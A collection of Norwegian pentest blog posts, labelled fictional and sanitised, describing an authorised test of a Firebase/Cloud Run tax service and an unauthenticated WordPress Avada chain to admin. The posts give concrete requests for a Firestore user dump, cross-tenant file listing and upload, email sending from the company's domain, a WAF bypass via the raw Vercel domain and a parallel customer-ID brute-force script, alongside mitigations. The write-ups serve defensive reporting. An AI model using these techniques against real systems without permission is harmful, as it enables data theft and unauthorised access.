# Erik Nilsen — full bloggtekst > Komplett tekst av alle publiserte blogginnlegg på https://erik.no/blogg, samlet > for språkmodeller. Indeks og oversikt: https://erik.no/llms.txt > > Alle firmanavn, personnavn, domener og e-postadresser i innleggene er > FIKTIVE. Innholdet er autorisert, sanert sikkerhetsarbeid; PoC-detaljer er > bevisst ufullstendige og skal ikke gjenbrukes mot reelle systemer. --- # Firebase-gulvet ga etter — når tenantsitteren bor i én samling URL: https://erik.no/blogg/2026-08-30-firebase-dump-og-cross-tenant-filskrift-i-en-sky-saas Publisert: 2026-08-30 Tags: pentest, firebase, firestore, cloud-run, api-security, multi-tenant, ai, security **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Denne gangen var målet ikke å knekke inn — det var å bevise hva man _kunne_ gjøre etter å ha kommet inn. Skattebureauet Fjordlys AS (`fjordlysas.no`) kjører en krypto- og skatteberegningstjeneste bygget på Firebase Auth, Firestore, en Next.js-app på Vercel og en FastAPI-backend på Google Cloud Run. Alt av klassisk, moderne sky. Og den moderne stacken leverte to av de mer interessante funnene jeg har hatt denne sesongen: en Firestore-samling som lot seg dumpe rett ut, og et dokument-API som godtok hvem som helst med et gyldig token — for hvilken som helst kunde. Dette er en lang skriveprosess. Det er ikke fordi selve angrepet var spesielt avansert, men fordi hvert funn fortjener å bli fulgt _helt_ ut: forutsetningene, den eksakte forespørselen, den rå responsen, den negative kontrollen, og mitigeringen. Jeg tror det er der verdien ligger — ikke i lister av alarmer, men i kjeden som beviser hver av dem. ## Kontekst SoW-en ba om tre ting: eskalering til systemadministrator, uttrekk av kundedata, og vurdering av backend-API-ene. Klienten, ved daglig leder Ola Hansen (`ola.hansen@fjordlysas.no`), hadde uttrykkelig godkjent full-send og aggressiv metode. Scope var frontenden på `www.fjordlysas.no`, et parallelt Vercel-utviklerdomene, og et Cloud Run-API. Jeg kjører denne typen oppdrag med AI i loopen: jeg starter med recon og kaster en strøm av hypoteser mot målet, agentene går parallelt på endepunkter og auth-flipper, og jeg tar vurderingene — som denne gangen ble flere og vanskeligere enn jeg liker. Stacken er dessuten svært snakkende: med et Firebase-basert produkt sitter hele datamodellen i praksis _i klienten_, og buntene spytter ut alt du trenger for å kjøre mot samme backend som appen selv gjør. ## Oppsett og vektløftingen før angrepet Første time var ren kartlegging. AI-en kjørte subdomain-enumerasjon med `subfinder` og `httpx`, og nuclei mot infrastrukturen: ```bash nuclei -u https://www.fjordlysas.no -t cves/ -severity critical,high -rl 50 ``` Nul treff mot 4 222 CVE-maler. Det er et funn i seg selv — infrastrukturlaget var oppdatert. Men det viktigste var noe enklere: det paralelle rå‑Vercel‑domenet (i denne teksten `raw-deploy.vercel.app`) svarte uten WAF-bonnen Cloudflare setter opp foran hoveddomenet. Det ga meg en trafikk-skanse for resten av oppdraget — ikke et funn i seg selv, men en kondisjon som gjorde alt annet lettere. Frontendbuntene lastet jeg ned og la i et lokalt arbeidsområde. Det er vanlig praksis, men fortjener en nevnning fordi alt det _virkelige_ arbeidet senere kom fra å lese dem ordentlig: ```bash grep -ohR "/api/[a-z][a-z0-9/_-]*" bunten/ | sort -u > endpoints.txt wc -l endpoints.txt # 164 endepunkter ``` 164 API-ruter, ekstrahert fra Vite/Next.js-bunter med en AI-generert `rg`-pipeline. Det er tjenestens hele API-overflate, plukket fra klienten som en leser kunne gjort over en lunsj. ## Vekten av en trauskanse: WAF-bypass-ruten Før selve funnene, en liten egen historie som gjorde hele oppdraget enklere — og som er verdt å formidle fordi det er et mønster jeg ser gjentatte ganger på Vercel-baserte produkter. Hoveddomenet `www.fjordlysas.no` lå bak Cloudflare. Cloudflare setter en `Vercel Security Checkpoint`-utfordring på bot-trafikk, og det gjør skannere og automatiserte forespørsler tungvindt: man må verifisere seg, cookies rullerer, og `nuclei`-sweeps blir tregere og støyere enn de trenger å være. Det er tjenesten så vidt jeg forstår bevisst — men den har en blind flekk: den rå Vercel-deploy-URL-en. Hver Vercel-deploy kan nås direkte via `.vercel.app`, uten Cloudflare foran. DNS-en peker mot Vercel, men ingenting hindrer en i å snakke med Vercel-endepunktet direkte — med mindre pro­sjekt­eier har konfigurert domain-verifisering som avviser trafikk som ikke kommer via kundens eget domenenavn. Det hadde ikke blitt gjort her: ```bash curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \ https://www.fjordlysas.no/api/health # 403 (Cloudflare challenge) curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \ https://raw-deploy.vercel.app/api/health # 200 {"status":"ok"} ``` Samme app, samme backend, samme API — men én rute gjennom WAF-en og én uten. Resten av oppdraget kjørte jeg mot Vercel-domenet med en standard Chrome UA-streng (`Mozilla/5.0 Chrome/151.0.0.0`; en annen UA ga `403` med Cloudflare-feilkode 1010 på enkelte ruter — verdt å notere hvis du replikerer). Det er ikke et sårbart­hets­funn i seg selv — appen er lik, og alt som er tilgjengelig bak Vercel-URL-en er også tilgjengelig gjennom hoved­ domenet for en ekte bruker. Men det er en _operasjonell_ svakhet: WAF-en, som er en del av forsvars­over­flaten, kan omgås fullstendig, og rate­limit­regler som er konfigurert i Cloudflare gjelder kun hoveddomenet. Jeg rapporterte det som en anbefaling ("lay Vercel-deploys bak Cloudflare i front, eller la Vercel avvise Host-headere som ikke matcher kundens domene") snarere enn et funn, fordi eksploit­verdien er indirekte. . ## Oppsette probe-kontoen Firebase API-nøkkelen sto i klartekst i hovedbunden (klassisk Firebase-mønster; nøkkelen er ikke en hemmelighet, men den er nødvling for at REST-API-ene skal virke). Med den registrerte jeg en prøvebruker via Googles identitytoolkit: ```http POST /v1/accounts:signInWithPassword?key= Host: identitytoolkit.googleapis.com {"email":"pentest.probe@fjordlysas.no","password":"","returnSecureToken":true} ``` ```json { "localId": "1111111111111111111111111111", "idToken": "", "refreshToken": "", "expiresIn": "3600" } ``` Verifiserte e-posten via `accounts:sendOobCode` mot en postkasse jeg kontrollerer. Det er den tilstanden alt det videre forutsetter: **et gyldig Firebase JWT for en alminnelig, nyregistrert kundebruker.** Ingen roller, ingen custom claims — bare standard­tokenet alle kunder går rundt med. ## Det jeg fant Fire funn holdt seg til slutt. Tre av dem er egentlig én historie om Firestore-regler og manglende tenant-filter i en backend, og den fjerde er et post­endepunkt som lar deg sende e-post fra firmaets eget domene. ### Funn 1: 974 brukerprofiler i klartekst Firestore-sikkerhetsreglene for `users`-samlingen tillot _lesing av hele samlingen_ for enhver innlogget bruker. En enkel list-operasjon via Firestore REST API med min egen Firebase-token returnerte paginert brukerdata — 974 dokumenter i klartekst: e‑post, navn, kunde-ID-er (`CUST-`-format), konto­numre, roller og opprettelsestidspunkter. ```http GET /v1/projects/fjordlys-frontend/databases/(default)/documents/users?pageSize=5 Host: firestore.googleapis.com Authorization: Bearer ``` ```json { "documents": [ { "name": "projects/fjordlys-frontend/databases/(default)/documents/users/1111...", "fields": { "email": {"stringValue": "kari.nordmann@fjordlysas.no"}, "customer_id": {"stringValue": "CUST-1765897468504"}, "role": {"stringValue": "company_admin"}, "approved": {"booleanValue": true} } } ], "nextPageToken": "" } ``` Det er ikke teknisk komplisert — det er bare en regel som glemte at `list` og `get` er to ulike operasjoner. Jeg fikk AI-en til å skrive et lite paginerings-script som dumpet hele samlingen; det tok under tre minutter. . Dette er det klassiske Firebase-feilgrepet: sikkerhetsregler skrives for "kan lese _sitt eget_ dokument", men `list`-operasjonen arver ikke `get`-regelen automatisk. En regel som kun sjekker `request.auth.uid == resource.id` blokkerer _lesing av andres dokumenter_ — men _listingen_ av hele samlingen må avslås separat, og det ble den ikke. ### Funn 2: Cross-tenant filmetadata via dokument-API-et FastAPI-backend på Cloud Run eksponerte `/openapi.json` åpent. Elleve endepunkter, og to av dem tok en `customer_id`-parameter: ```http GET /api/documents?customer_id=0592-5351-8860-8859 Host: api.fjordlys-internal.europe-west1.run.app Authorization: Bearer ``` Responsen var filmetadata for en kunde jeg aldri hadde hørt om — filnavn, GCS-sti, filstørrelse, opplastingstidspunkt og behandlingsstatus, for _multiple platformer_ (kryptobørser, tradingsplattformer). Det er kunde­mappe­strukturen i et sky-lagrings­bøtte, hentet ut med min alminnelige kunde­brukers token. ```json { "files": [ { "name": "20251218_212910_transactions.xlsx", "path": "0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx", "size": 76475, "customerId": "0592-5351-8860-8859", "platformId": "coinbase" } ] } ``` Negativ kontroll først: med et _ukjent_ kunde-ID returnerte samme endepunkt `200` med en tom liste — ikke `403`, ikke `404`. Det er ikke noe som beviser lekkasje i seg selv, det beviser bare at endepunktet ikke avgrenser på eierskap. PoC-en under viser begge sider. . ### Funn 3: Cross-tenant filskriving Samme endepunktfamilie hadde en upload-rute som tok multipart-form med `customer_id` og fil: ```bash curl -X POST https://api.fjordlys-internal.europe-west1.run.app/api/documents/upload \ -H "Authorization: Bearer " \ -F "customer_id=0592-5351-8860-8859" \ -F "platform_id=coinbase" \ -F "file=@/tmp/poc.csv" ``` ```json { "id": "13b4e903-c7c1-4281-94ca-327798e39100", "filename": "poc.csv", "gcs_path": "gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv" } ``` Etterfulgt av en liste-operasjon som bekreftet at filen nå lå i kunde­mappen, ved siden av kundens eksisterende transaksjonsfiler. Det er skriving til en fremmed kundes datamappe, med et token som ikke inneholder den kunden, og uten at noen aut­ori­sa­sjons­sjekk grep inn. . ### Funn 4: E-postutsending fra firmaets domene `POST /api/send-email` på Next.js-serveren sendte en testmelding via firmaets e-postleverandør, fra domenet `fjordlysas.no`. Rate-limit var 79 per dag, og alle utsendelser ble auto-kopiert til en intern adresse (som betyr at mottakeren _av_ kopien _ser_ at en test har gått — men selve utsendingen kom fra den offisielle domenet, fra en vanlig kundebrukers token). . PoC-en for dette var enkel, men jeg vil vise den likevel — e-postutsending er en av de funntypene der en enkelt respons forteller deg alt: **Forutsetninger:** Firebase JWT fra probe-kontoen. Utsendingen ble kjørt etter avtale i SoW, mot en postkasse jeg selv kontrollerer. ```http POST /api/send-email HTTP/1.1 Host: raw-deploy.vercel.app Authorization: Bearer Content-Type: application/json {"to":"mine-testmottakere@eksempel-no.no","subject":"PoC","body":"Test fra pentest-probe"} ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"ok":true,"remainingToday":78} ``` **Tolkning:** `200` pluss at meldingen faktisk ankom min testpostkasse, med `From:` på `fjordlysas.no`, er beviset. Auto-kopien til den interne adressen var synlig i mine headers — det er en implementasjons­detalj som kanskje var ment som en varslingsmekanisme, men den gjør også at den som mottar meldingen _kan_ se at en test har gått. Det gir spor­bar­het, men hindrer ikke misbruk: en angriper kan sende meldinger fra det offisielle domenet til hvem som helst, med et vanlig kunde­ token, 79 ganger per dag. En negativ kontroll her var å sende med manglende felter — den ga en ryddig validerings­feil, noe som viser at validering eksisterer på skjema-nivå men ikke på aut­ori­sa­sjons­nivå: ```http HTTP/1.1 400 Bad Request {"message":"Mangler mottaker"} ``` **Mitigering:** Krav om admin-rolle eller minimum en eierskaps­sjekk (kun send til _egen_ registrerte e-post, med tydelig "system­melding fra testmiljø"-markering). . ### Funn 5: Kundesekvens-sweepen som ikke ga treff — og hvorfor det var nyttig En metode­messig side­grein jeg regner som et del­resultat. Jeg trengte flere kunde-ID-er for å vise at Funn 2 var systematisk, ikke en tilfeldighet. Kunde-ID-ene i Firestore-dumpen (`CUST-`-format) matchet ikke formatet Cloud Run-API-et forventet (`0592-5351-8860-8859`-format — fire blokker på fire siffer). Det er tydeligvis to ulike identifikator­systemer i samme tjeneste. Jeg fikk en agent til å generere og teste ~1 500 ID-varianter mot `/api/documents` med parallell utførelse: ```python from concurrent.futures import ThreadPoolExecutor def probe(cid): req = urllib.request.Request( f"{BASE}/api/documents?customer_id={cid}", headers=UA, method="GET") d = json.loads(urllib.request.urlopen(req, timeout=8).read()) return (cid, len(d)) if isinstance(d, list) and d else None with ThreadPoolExecutor(20) as ex: for hit in ex.map(probe, test_ids): if hit: print(hit) ``` Null treff på 1 500 forsøk. Det er en negativ kontroll av samme slag som det jeg forventet å finne — den forteller at kunde-ID-ene ikke er gjetbare i praksis, og at det reelle angrepet _ikke_ er "brute-force deg til en kundefolder" men "vite én kunde-ID og lese den". Jeg fikk vite én kunde-ID fra Firestore-dumpen (Funn 1), og det var nok. De to funnene kobler seg altså til hverandre: samlingen­lekkasjen leverer _materiellet_ (kunde-ID-er), og dokument­API-et leverer _lekkasjen_ (metadata + skriving). Det er et godt eksempel på en teknikk jeg bruker bevisst: **en negativ sweep som beviser at angrepsflaten er smal, er like verdifull som en positiv som viser at den er bred.** Uten sweepen ville en leser (eller klienten) kunne tro at cross-tenant-funnet bare var et problem hvis man alt kjente til ID-en — det er ikke tilfelle. ## PoC / Reproduksjon For Funn 2–3 kjører hele kjeden slik: **Forutsetninger:** innlogget som nyregistrert kundebruker (`poc@fjordlysas.no`, Firebase JWT i `token.txt`). Kundefolder `0592-5351-8860-8859` tilhører en annen bruker — jeg har aldri hatt tilgang til den, og fant ID-en i Firestore-dumpen fra Funn 1. 1. Registrer bruker og hent Firebase JWT: ```bash curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=" \ -H "Content-Type: application/json" \ -d '{"email":"poc@fjordlysas.no","password":"","returnSecureToken":true}' ``` 2. List fremmed kundes filer: ```http GET /api/documents?customer_id=0592-5351-8860-8859 HTTP/1.1 Host: api.fjordlys-internal.europe-west1.run.app Authorization: Bearer ``` ```http HTTP/1.1 200 OK Content-Type: application/json [{"id":"c6978901-...","filename":"20251218_212910_transactions.xlsx", "gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx"}] ``` 3. Last opp en fil i samme mappe (bevis for skriving): ```http POST /api/documents/upload HTTP/1.1 Host: api.fjordlys-internal.europe-west1.run.app Authorization: Bearer Content-Type: multipart/form-data; boundary=... --... Content-Disposition: form-data; name="customer_id" 0592-5351-8860-8859 --... Content-Disposition: form-data; name="file"; filename="poc.csv" Content-Type: text/csv test,data --...-- ``` ```http HTTP/1.1 200 OK {"id":"13b4e903-...","gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"} ``` 4. **Negativ kontroll** — prøv å list dokumenter for en kunde-ID som _ikke finnes_ (tilfeldig generert): ```http GET /api/documents?customer_id=1234-5678-9012-3456 Authorization: Bearer ``` ```http HTTP/1.1 200 OK [] ``` **Tolkning:** tom liste — ikke `403` eller `404`. Endepunktet oppfører seg likt for en kunde jeg eier, en jeg ikke gjør, og en som ikke finnes. Det er det som gjør Funn 2–3 til et strukturelt problem og ikke en engangsfeil: autorisasjons­sjekken mangler, den er ikke bare feilkonfigurert for én kunde. . **Mitigering:** Cloud Run-endepunktet må validere at `customer_id` svarer til en kunde som kallerens Firebase-bruker faktisk eier (foreks. via `users/{uid}.customer_ids`), og returnere `404` ved avvik for ikke å bekrefte eksistens: ```diff @router.get("/documents") -async def list_documents(customer_id: str, user=Depends(get_current_user)): - return await storage.list_files(f"{customer_id}/") +async def list_documents(customer_id: str, user=Depends(get_current_user)): + if customer_id not in user.customer_ids: + raise HTTPException(404) + return await storage.list_files(f"{customer_id}/") ``` Samme filter trengs på upload-ruten, og der bør opplastingen også logges med hvem som lastet opp. ## Fire funn til — og hvorfor de ikke holdt En god del av det jeg oppdaget underveis så ut som store funn, men ble nedgradert etter verifisering. Det er like mye å lære av dem, og de forteller noe om forskjellen mellom "plausible funn" og "kontrollerte primitiver" som jeg prøver å holde strengt i mine rapporter. ### Administratorportalen jeg aldri kom inn i JS-buntene viste hardkodede e-postadresser (typisk `admin@…`-mønster) som klienten sjekket for å rendre en admin-dashboard. Så tiltalende — skriv din egen e-post inn i brukerdokumentet, og klienten gir deg UI-en. Men serveren validerte ikke klientens sjekk. Den validerte med **Firebase custom claims** (`crmExternal: true`) — som settes kun via Admin SDK og verifiseres serverside i JWT-en. Jeg skrev `role: "sysadmin"` til mitt eget Firestore-dokument, oppdaterte `crmExternal: true`, og testet hele admin-flaten igjen. Alle admin-endepunktene fortsatte å svare `403`. Negativ kontroll (i praksis): jeg verifiserte via `accounts:lookup` at tokenet ikke inneholdt custom claims (`customAttributes: none`), og bekreftet at det var JWT-en, ikke Firestore-dokumentet, som var den server-side kilden til sannhet. Admin-laget holdt — rapporterte det som en positiv vurdering, ikke et funn. ### Cloud Run-registreringen som ikke gav tilgang Backend-API-et hadde et eget bruker­system med `/api/auth/register` som aksepterte min registrering og returnerte et UUID-token. Så ble samme token avvist av samme backend én fetch senere: ```http GET /api/auth/me HTTP/1.1 Authorization: Bearer HTTP/1.1 401 Unauthorized {"detail": "Invalid authentication credentials"} ``` Mens Firebase JWT-er fungerer mot dokument-endepunktene på samme backend. Det er et funn i seg selv — to aut­ori­serings­systemer som ikke er i samsvar — men ingen innbrudd, og det er verdt å nevne som et varsel til klienten: to identitetslag som ikke er koordinert er en kilder til fremtidige hull. ### External-upload-secret-en Et uautentisert token-utvekslingsendepunkt (`/api/crm/external-upload/exchange`) returnerte et Firebase custom token ved gyldig `customerId` + `secret`, og det custom-tokenet inneholdt `crmExternal: true` — altså den samme claim-en som admin-endepunktene sjekker. Det er en _riktig_ vei til økt tilgang, hvis man kjenner en gyldig secret. Men secret-en viste seg å være en UUID v4 (2^122 muligheter), og jeg fant ingen way å enumerere den. Droppet brute-force, rapporterte mekanismen som et risikomønster i stedet — særlig fordi alle kunder så ut til å mangle provisionerte secrets, noe som betyr at angrepet i praksis er teoretisk inntil noen aktiverer det. ### GCS-bøtten jeg kunne navngi, men ikke lese Med Firebase JWT returnerte både XML- og JSON-API-et til Google Cloud Storage `401 Invalid Credentials` — Googles storage-API forventer OAuth-token, ikke Firebase-ID-token. Filinnholdet kunne jeg ikke hente ut byte for byte uten en annen auth-vei; kun metadata og skriving var tilgjengelig via backend-API-et. Jeg prøvde også Firebase Storage API — der fikk jeg en annen feil, at bøtten ikke var konfigurert for Firebase Storage, noe som antyder at tjenesten bruker rå-GCS med tjenestekonto-nøkler på backend-siden (som forventet). Det var en fordel for klienten: filinnholdet er ikke lesbar for en alminnelig Firebase-bruker selv om metadataene er det. ## Verktøy og hvem som kjørte hva - **Recon og subdomain-enumerasjon:** AI-agent med `subfinder` og `httpx -silent -title`. Jeg satte scope-filen. - **nuclei v3 (4 222 CVE-templates):** AI-kjør mot både hoveddomenet og rå-Vercel-utpakkingen. Null treff — som var poenget: ingen kjente CVE-er å bygge videre på. - **Frontend-bunt-analyse:** Jeg lastet ned `index-*.js` og chunk-filer manuelt; en AI-agent ekstraherte 164 API-ruter med `rg`-mønsteret over. - **Firestore-dumpen:** AI-generert Python-script med `urllib`, paginert mot Firestore REST API med min egen Firebase JWT. Jeg satte ratelimit og verifiserte at jeg ikke skrev noe. - **Upload-PoC:** Manuell `curl` fra min maskin, mot en kundefolder avtalt i SoW. Filinnholdet var en to-linjers CSV med en teststreng. - **Negativ kontroll:** Manuell — det er vurderingen som avgjør om responsen beviser noe, og den vil jeg ikke delegere. - **Brute-force av tenant- og kunde-ID-er:** AI-agent kjørte en parallellisert `ThreadPoolExecutor`-sweep mot `/api/documents?customer_id=X` med ~1 500 genererte ID-er. Null treff — som var nyttig: det betydde at kunde-ID-ene ikke var sekvensielle eller gjetbare, så fundet Funn 2 er ikke et enumerasjon­problem i praksis, men et autorisasjons­problem. ## Mitigering Fire konkrete forslag, i prioritert rekkefølge: 1. **Firestore-regler:** endre regelverket slik at `users`-samlingen tillater `get` på `request.auth.uid == resource.id`, men _ikke_ `list` for alminnelige brukere. Dette alene lukker 974-profil-lekkasjen. . 2. **Tenant-filter på dokument-API-et:** legg til et predikat på både `list` og `upload` som sjekker `customer_id` mot kallerens `customer_ids`, og returner `404` ved avvik (ikke `403`). . 3. **E-postutsending:**`/api/send-email` bør kreve admin-rollen eller i det minste MFA-gated tilgang, ikke bare et gyldig Firebase-token. . 4. **Generelt:** gjennomgå alle backend-endepunkter som tar en kunde-ID-parameter. To av elleve i OpenAPI-spec-en manglet eierskapssjekk — det er et mønster, ikke en tilfeldighet. Etter Firestore-regelendringen skal en nyregistrert brukers `list`-forsøk på `users`-samlingen svare `403 PERMISSION_DENIED` — ikke bare en tom liste. Test det regressivt etter deploy. ## Hva jeg lærte - **Firestore-regler feiler på `list`, ikke `get`.** Alle tester av "kan jeg lese mitt eget dokument" passerer. Først når du _listar_ samlingen ser du at regelen bare dekker enkelt­dokument­tilfelle. - **Cross-tenant i fil-API-er ser ofte ut som "tom liste" i stedet for `403`.** Den tomme responsen er lettere å overse, og den er det som gjør bruddet systematisk. - **Custom claims er ikke synlige i Firestore.** Jeg prøvde å eskalere til sysadmin ved å skrive en rolle til mitt eget Firestore-dokument; serveren ignorerte det fullstendig. Custom claims settes kun via Admin SDK og verifiseres i JWT-en — den modellen holdt, og det er verdt å si også. - **En moderne Firebase-stack er utrolig informativ å angripe.** Bunter, REST-endepunkter og aut­ori­se­­rings­regler er alle lesbare. En produkt­eier som har et slikt oppsett bør teste _regler_ og _endepunkter_ systematisk, ikke bare web-flaten. - **AI-agenter produserer plausible funn fort — og plausible feilgrep like fort.** Verdien ligger i verifiseringen. Jeg så minst to funn denne runden som så "kategorisk gale" ut i en agent-rapport, og som falt fra hverandre når jeg kjørte dem manuelt med en negativ kontroll. Rapporten er langt kortere enn agentenes funnlister, og det er med vilje. ## Veien videre Funnene er rapportert og fikseansvarlig er varslet. Jeg jobber videre med to tråder: - Klient­bunt­analysen er skalerbar — jeg jobber med et lite verktøy som trekker ut API-ruter og Firestore-samling­navn fra en produksjons­bunt automatisk, slik at denne typen kartlegging kan kjøres i starten av ethvert Firebase-basert oppdrag. - For kunder med Firebase-stack: en liten sjekk­liste ("kan en nybruker `list`-e min `users`-samlingen? har hvert endepunkt med en kunde-ID-parameter en eierskapssjekk?") som jeg regner med blir en fast del av mine oppdrag fremover. Dessuten: custom-claims-modellen som holdt her er verdt en egen artikkel. Det er den eneste aut­ori­serings­mekanismen jeg møtte i dette oppdraget som jeg _ikke_ kom forbi, og grunnen er verdt å skrive ut eksplisitt. --- # Fra anonym WordPress-request til administrator via patcheren URL: https://erik.no/blogg/2026-08-28-fra-anonym-wordpress-request-til-admin-via-patcheren Publisert: 2026-08-28 Tags: pentest, wordpress, rce, cve, ai, security **FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Jeg har tidligere skrevet om [en WordPress-side der web-laget holdt](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren). Denne gangen gjorde det ikke det. En anonym AJAX-request ble først til en persistent post-meta-write. Den var rapporterbar, men ga meg ingen admin. Den virkelige inngangen lå i kombinasjonen av Avada Builder, Dynamic Data og patcheren. Sluttresultatet var en komplett kjede uten konto eller cookie: offentlig nonce, anonym rendering av et administrativt action hook, request-lokal patchmetadata, filskriv til en webkjørbar PHP-fil, opprettelse av en midlertidig administrator og vanlig innlogging i WordPress. Etterpå slettet jeg kontoen, ugyldiggjorde sesjonen og restaurerte filen byte for byte. Dette er en sanert reproduksjon. Requeststrukturen, kontrollene og responsene er beholdt. Den virksomme Dynamic Data-strengen og PHP-payloaden er erstattet med placeholders, så teksten beskriver beviset uten å være et ferdig våpen mot et ekte nettsted. ## Kontekst Skranglekopp AS (`skranglekoppas.no`) hadde en offentlig WordPress-side med Avada 7.12.1 og Avada Builder 3.12.1. Oppdraget var en ekstern, uautentisert test. Scopet tillot kontrollert filskriv og administratorbevis så lenge endringen var minimal, reversibel og dokumentert. CVE-triage var bare én del av arbeidet. Jeg lot AI-agenter kartlegge hoster, AJAX-actions, offentlige scripts og observerte versjoner. Agentene skrev små `requests`-baserte script, kjørte matchede kontroller og samlet headers, bodies og SHA-256. Jeg bestemte hvilke spor som fikk eskaleres, hva som var godt nok bevis, og hvilke produksjonsendringer som var forsvarlige. To tidligere erfaringer påvirket oppsettet. [WP Defender-utlåsingen jeg skrev om i juni](/blogg/2026-06-18-wp-defender-laste-ut-skanneren-min) lærte meg å fingerprint sikkerhetslaget før støyende enumerering. [Cross-tenant-funnet som ikke overlevde verifisering](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering) gjorde den negative kontrollen til et eksplisitt krav før noe fikk kalles et funn. Jeg brukte derfor en enkel bevisstige: ```text E1 hypotese eller versjonstreff E2 teknisk reproduksjon uten autoritativ effekt E3 kontrollert sikkerhetsanomali E4 målt effekt + negativ kontroll + readback + opprydding ``` Skanneroutput stoppet på E1. `HTTP 200` stoppet som regel på E2. WordPress-admin krevde en faktisk innlogging og en verifisert rollback. ## Det første funnet: en TOC-write som ikke ga admin Avada Builder registrerte den uautentiserte actionen `awb_save_toc_tree`. Handleren tok imot en positiv `postId` og et nestet `trees`-objekt, saniterte node-ID og tittel, og skrev resultatet til den faste post-meta-nøkkelen `awb_toc_trees_cache`. Det manglet både en action-spesifikk nonce og en capability-sjekk som `current_user_can('edit_post', $post_id)`. ### Forutsetninger - Ingen WordPress-konto. - En offentlig testside med post-ID `2`. - Ingen eksisterende TOC på testsiden. - En unik inert canary: `AWB_TOC_POC_4f92c7d1`. - En offentlig Post Cards-template som kunne brukes som database-backed readback-orakel. Før write kjørte AI-scriptet to spørringer gjennom `fusion_get_widget_markup`: 1. `LIKE` på den eksakte canary-tittelen. 2. `EXISTS` på `awb_toc_trees_cache`. Begge returnerte samme tomme widget: ```http HTTP/1.1 200 OK Content-Type: application/json "
...
...
" ``` ### Matchet negativ kontroll Jeg sendte først identiske felt til en action som ikke fantes: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=awb_save_toc_tree_control&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1 ``` ```http HTTP/1.1 400 Bad Request Content-Type: text/html; charset=UTF-8 0 ``` Deretter sendte jeg samme request med den registrerte actionen: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=awb_save_toc_tree&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1 ``` ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 0 ``` Bodyen `0` beviser ingenting alene. Forskjellen mellom `400` og `200` viser bare at WordPress fant en registrert handler. Beviset kom fra de to readback-spørringene. Begge gikk fra tom widget til den templaten som bare rendres når post-meta-predikatet matcher: ```http HTTP/1.1 200 OK Content-Type: application/json "
...
... Lær mer...
...
" ``` Den eksakte canary-queryen og den uavhengige `EXISTS`-queryen returnerte samme 1628-byte body. Før write var bodyen 88 byte. Det var en persistent databaseendring, ikke bare ulik feilhåndtering. ### Rollback En cache-bustet rendering av testsiden utløste pluginens egen garbage collector for sider uten TOC. Begge oraklene returnerte deretter nøyaktig samme 88-byte body og SHA-256 som før write. Canaryen levde i omtrent halvannet sekund. Funn: . En anonym angriper kunne endre TOC-cache for en valgt post, men metanøkkelen var fast og verdiene ble saniterte. Jeg hadde ikke vilkårlig meta-write, XSS, filskriv eller kodekjøring. Det var viktig å stoppe den konklusjonen der. ## Sporet som faktisk nådde patcheren Den andre kjeden startet med en offentlig Builder-nonce. En anonym request til frontend-editor-modus returnerte `fusion_load_nonce` i sidekonfigurasjonen: ```http GET /?fb-edit=1 HTTP/1.1 Host: skranglekoppas.no ``` ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 ... {"fusion_load_nonce":""} ... ``` Noncen var ikke admin i seg selv. Den åpnet `fusion_get_widget_markup`, som kunne rendre en tekstwidget med Fusion-shortcodes. Dynamic Data støttet et `action_hook`-felt. Det lot den anonyme renderingen dispatchere WordPress-hooks som aldri burde vært tilgjengelige i den konteksten. ### Hent en patcher-nonce gjennom rendering Den sanerte requesten ser slik ut: ```http POST /wp-admin/admin-ajax.php?page=avada-patcher HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=fusion_get_widget_markup &fusion_load_nonce= &widget_id=poc-patcher-render &type=WP_Widget_Text ¶ms[wp_widget_text__filter]=1 ¶ms[wp_widget_text__text]= ``` Den faktiske shortcode-bloben er utelatt. Strukturen rendret Avadas patcher-side i widgetkonteksten. Responsen inneholdt en ny nonce: ```html ``` På dette tidspunktet hadde jeg et anonymt orakel for administrativ patcher-tilstand, men fortsatt ingen filskriv. ## Blindsporet: en stor patch-ID ble bare hoppet over Første forsøk brukte en tilfeldig stor patch-ID. Serveren svarte pent, men gjorde ingenting: ```json {"success":true,"data":{"message":"Skip the patch","patch_id":422597}} ``` Det så først ut som feil nonce, feil versjon eller en patch som allerede var markert som brukt. Agenten sammenlignet requesten med pluginlogikken og fant den egentlige begrensningen: `Fusion_Patcher_Cache::get_cache([])` normaliserte patchlisten med numeriske indekser `0..N`. Den store ID-en pekte aldri på det injiserte objektet. Løsningen var ikke flere tilfeldige tall. Jeg ba AI-en bygge en syntetisk patchliste med kontrollerte sentineler og legge selve patchen på en gyldig indeks mellom 0 og 4. Da kunne jeg skille «patcheren svarte» fra «patcheren brukte min patchmetadata». ## Full PoC: anonym request til WordPress-admin CVE-2026-18431 beskriver samme klasse: Avada opp til og med 7.16 sammen med Fusion Builder opp til og med 3.16 kunne nås gjennom en uautentisert arbitrary-file-write-kjede. Den offentlige oversikten ligger hos [OpenCVE](https://app.opencve.io/cve/CVE-2026-18431). Det interessante i denne testen var ikke versjonstreffet. Det var den komplette, reversible transaksjonen. 